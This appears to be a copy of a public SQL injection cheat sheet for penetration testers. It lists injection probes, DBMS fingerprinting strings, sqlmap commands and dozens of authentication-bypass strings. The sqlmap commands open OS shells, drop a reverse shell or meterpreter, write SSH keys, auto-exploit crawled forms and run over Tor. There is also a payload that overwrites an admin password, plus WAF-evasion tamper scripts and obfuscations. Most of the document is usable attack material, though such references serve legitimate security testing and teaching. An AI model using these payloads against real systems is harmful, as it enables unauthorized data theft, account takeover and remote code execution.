# SQL injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:

* Information Leakage
* Disclosure of stored data
* Manipulation of stored data
* Bypassing authorisation controls

## Summary

* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
* [Entry point detection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [DBMS Identification](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [SQL injection using SQLmap](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Basic arguments for SQLmap](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Load a request file and use mobile user-agent](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Custom injection in UserAgent/Header/Referer/Cookie](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Second order injection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Shell](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Crawl a website with SQLmap and auto-exploit](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Using TOR with SQLmap](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Using a proxy with SQLmap](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Using Chrome cookie and a Proxy](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Using suffix to tamper the injection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [General tamper option and tamper's list](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [SQLmap without SQL injection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [Authentication bypass](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
  * [Authentication Bypass (Raw MD5 SHA1)](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [Polyglot injection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [Routed injection](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [Insert Statement - ON DUPLICATE KEY UPDATE](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)
* [WAF Bypass](https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/broken-reference)

## Entry point detection

Detection of an SQL injection entry point Simple characters

```sql
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
&apos;  # required for XML content
```

Multiple encoding

```sql
%%2727
%25%27
```

Merging characters

```sql
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```sql
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

## DBMS Identification

```c
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

## SQL injection using SQLmap

### Basic arguments for SQLmap

```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

### Load a request file and use mobile user-agent

```powershell
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

### Custom injection in UserAgent/Header/Referer/Cookie

```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

### Second order injection

```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```powershell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

### Crawl a website with SQLmap and auto-exploit

```powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Using TOR with SQLmap

```powershell
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

### Using a proxy with SQLmap

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

### Using Chrome cookie and a Proxy

```powershell
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

### Using suffix to tamper the injection

```powershell
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### General tamper option and tamper's list

```powershell
tamper=name_of_the_tamper
```

| Tamper                       | Description                                                                                                                                        |
| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0x2char.py                   | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart                                                               |
| apostrophemask.py            | Replaces apostrophe character with its UTF-8 full width counterpart                                                                                |
| apostrophenullencode.py      | Replaces apostrophe character with its illegal double unicode counterpart                                                                          |
| appendnullbyte.py            | Appends encoded NULL byte character at the end of payload                                                                                          |
| base64encode.py              | Base64 all characters in a given payload                                                                                                           |
| between.py                   | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'                                                                                    |
| bluecoat.py                  | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator                 |
| chardoubleencode.py          | Double url-encodes all characters in a given payload (not processing already encoded)                                                              |
| charencode.py                | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)                                 |
| charunicodeencode.py         | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)       |
| charunicodeescape.py         | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)   |
| commalesslimit.py            | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'                                                                                       |
| commalessmid.py              | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'                                                                                  |
| commentbeforeparentheses.py  | Prepends (inline) comment before parentheses (e.g. ( -> /\*\*/()                                                                                   |
| concat2concatws.py           | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                                                                 |
| charencode.py                | Url-encodes all characters in a given payload (not processing already encoded)                                                                     |
| charunicodeencode.py         | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)                                                     |
| equaltolike.py               | Replaces all occurrences of operator equal ('=') with operator 'LIKE'                                                                              |
| escapequotes.py              | Slash escape quotes (' and ")                                                                                                                      |
| greatest.py                  | Replaces greater than operator ('>') with 'GREATEST' counterpart                                                                                   |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword                                                                                                   |
| htmlencode.py                | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')                                                                      |
| ifnull2casewhenisnull.py     | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart                                                |
| ifnull2ifisnull.py           | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'                                                                                  |
| informationschemacomment.py  | Add an inline comment (/\*\*/) to the end of all occurrences of (MySQL) “information\_schema” identifier                                           |
| least.py                     | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart                                                                                      |
| lowercase.py                 | Replaces each keyword character with lower case value (e.g. SELECT -> select)                                                                      |
| modsecurityversioned.py      | Embraces complete query with versioned comment                                                                                                     |
| modsecurityzeroversioned.py  | Embraces complete query with zero-versioned comment                                                                                                |
| multiplespaces.py            | Adds multiple spaces around SQL keywords                                                                                                           |
| nonrecursivereplacement.py   | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters                               |
| overlongutf8.py              | Converts all characters in a given payload (not processing already encoded)                                                                        |
| overlongutf8more.py          | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
| percentage.py                | Adds a percentage sign ('%') infront of each character                                                                                             |
| plus2concat.py               | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart                                                                            |
| plus2fnconcat.py             | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart                                                                  |
| randomcase.py                | Replaces each keyword character with random case value                                                                                             |
| randomcomments.py            | Add random comments to SQL keywords                                                                                                                |
| securesphere.py              | Appends special crafted string                                                                                                                     |
| sp\_password.py              | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs                                                          |
| space2comment.py             | Replaces space character (' ') with comments                                                                                                       |
| space2dash.py                | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')                                        |
| space2hash.py                | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2morehash.py            | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2mssqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mssqlhash.py           | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')                                                          |
| space2mysqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mysqldash.py           | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')                                                            |
| space2plus.py                | Replaces space character (' ') with plus ('+')                                                                                                     |
| space2randomblank.py         | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| symboliclogical.py           | Replaces AND and OR logical operators with their symbolic counterparts (&& and                                                                     |
| unionalltounion.py           | Replaces UNION ALL SELECT with UNION SELECT                                                                                                        |
| unmagicquotes.py             | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)                             |
| uppercase.py                 | Replaces each keyword character with upper case value 'INSERT'                                                                                     |
| varnish.py                   | Append a HTTP header 'X-originating-IP'                                                                                                            |
| versionedkeywords.py         | Encloses each non-function keyword with versioned MySQL comment                                                                                    |
| versionedmorekeywords.py     | Encloses each keyword with versioned MySQL comment                                                                                                 |
| xforwardedfor.py             | Append a fake HTTP header 'X-Forwarded-For'                                                                                                        |

### SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all 
```

## Authentication bypass

```sql
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

## Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```php
md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

Challenge demo available at <http://web.jarvisoj.com:32772>

## Polyglot injection (multicontext)

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Routed injection

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

## Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```sql
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```

## WAF Bypass

### White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```sql
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```sql
?id=(1)and(1)=(1)--
```

Whitespace alternatives by DBMS

| DBMS       | ASCII characters in hexadicimal                                                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                                                                                                                                             |
| MySQL 3    | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20                                                                                                                                                 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20                                         |

Example of query where spaces were replaced by ascii characters above 0x80

```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```

### No Comma

Bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```

### Case modification

Bypass using uppercase/lowercase (see keyword AND)

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Bypass using keywords case insensitive / Bypass using an equivalent operator

```sql
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

### Obfuscation by DBMS

MySQL

```
1.UNION	SELECT	2	
3.2UNION	SELECT	2	
1e0UNION	SELECT	2	
SELECT\N/0.e3UNION	SELECT	2	
1e1AND-0.0UNION	SELECT	2	
1/*!12345UNION/*!31337SELECT/*!table_name*/	
{ts	1}UNION	SELECT.``	1.e.table_name	
SELECT	$.``	1.e.table_name	
SELECT{_	.``1.e.table_name}	
SELECT	LightOS	.	``1.e.table_name	LightOS	
SELECT	information_schema 1337.e.tables	13.37e.table_name	
SELECT	1	from	information_schema 9.e.table_name
```

MSSQL

```
.1UNION	SELECT	2	
1.UNION	SELECT.2alias	
1e0UNION	SELECT	2	
1e1AND-1=0.0UNION	SELECT	2	
SELECT	0xUNION	SELECT	2	
SELECT\UNION	SELECT	2	
\1UNION	SELECT	2	
SELECT	1FROM[table]WHERE\1=\1AND\1=\1	
SELECT"table_name"FROM[information_schema].[tables]	
```

Oracle

```
1FUNION	SELECT	2	
1DUNION	SELECT	2	
SELECT	0x7461626c655f6e616d65	FROM	all_tab_tables
SELECT	CHR(116)	||	CHR(97)	||	CHR(98)	FROM	all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
```

### More MySQL specific

`information_schema.tables` alternative

```sql
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

Version Alternative

```sql
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

#### WAF bypass for MySQL using scientific notation

Blocked

```sql
' or ''='
```

Working

```sql
' or 1.e('')='
```

Obfuscated query

```sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```

## References

* Detect SQLi
  * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
  * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL:
  * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
  * [Alternative for Information\_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
  * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL:
  * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
  * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
  * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
  * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
  * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
  * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
  * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
  * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
  * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
  * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
  * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
  * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
  * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order:
  * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
  * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
  * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* WAF:
  * [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
  * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
